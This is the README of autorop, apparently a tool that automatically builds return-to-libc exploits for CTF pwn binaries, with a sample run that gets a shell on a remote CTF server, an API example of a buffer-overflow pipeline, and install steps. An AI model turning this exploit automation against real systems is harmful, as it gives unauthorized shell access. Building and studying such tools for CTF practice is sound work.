autorop

Automated solver of classic CTF pwn challenges, with flexibility in mind.

Official documentation can be found at autorop.readthedocs.io.

Disclaimer

Do not use this software for illegal purposes. This software is intended to be used in legal Capture the Flag competitions only.

Command line

$ autorop
Usage: autorop BINARY [HOST PORT]

$ autorop tests/bamboofox/ret2libc bamboofox.cs.nctu.edu.tw 11002
[*] '/home/mariusz/Projects/autorop/tests/bamboofox/ret2libc'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Produced pipeline: Classic(Corefile(), OpenTarget(), Puts(False, ['__libc_start_main', 'puts']), Auto(), SystemBinSh())
[*] Pipeline [1/5]: Corefile()
[+] Starting local process 'tests/bamboofox/ret2libc': pid 18833
[*] Process 'tests/bamboofox/ret2libc' stopped with exit code -11 (SIGSEGV) (pid 18833)
...
[*] Switching to interactive mode
Hello!
The address of "/bin/sh" is 0x804a02c
The address of function "puts" is 0xf7e43da0
$ wc -c /home/ctf/flag
57 /home/ctf/flag

API

Importing autorop automatically does a from pwn import *, so you can use all of pwntools' goodies.

Central to autorop's design is the pipeline. Most functions take in a PwnState, and pass it on to the next function with some attributes changed. Pipeline copies* the PwnState between each function so mutations are safe. This allows great simplicity and flexibility.

See how the below example neatly manages to "downgrade" the problem from something unique, to something generic that the Classic pipeline can handle.

from autorop import *

BIN = "./tests/tjctf_2020/stop"


def send_letter_first(tube, data):
    # the binary expects us to choose a letter first, before it takes input unsafely
    tube.sendline("A")
    # send actual payload
    tube.sendline(data)

# create a starting state
s = PwnState(BIN, lambda: process(BIN))
# set an overwriter function, if the buffer overflow input
# is not available immediately
s.overwriter = send_letter_first

# use base classic pipeline, with printf for leaking
pipeline = turnkey.Classic(leak=leak.Printf())
result = pipeline(s)

# switch to interactive shell which we got via the exploit
result.target.interactive()

* Note: Although most of the attributes are deep-copied, target and _elf are not.

Install

1. Install autorop itself. You might want to be in your python virtual environment. After cloning, install with pip:

$ git clone https://github.com/mariuszskon/autorop && cd autorop && pip install .

2. Make sure corefiles are enabled and are plainly written to the right directory:

# sysctl -w kernel.core_pattern=core.%p

3. (Optional) Install libc-database into ~/.libc-database (or your own location then edit state.libc_database_path).
4. All done!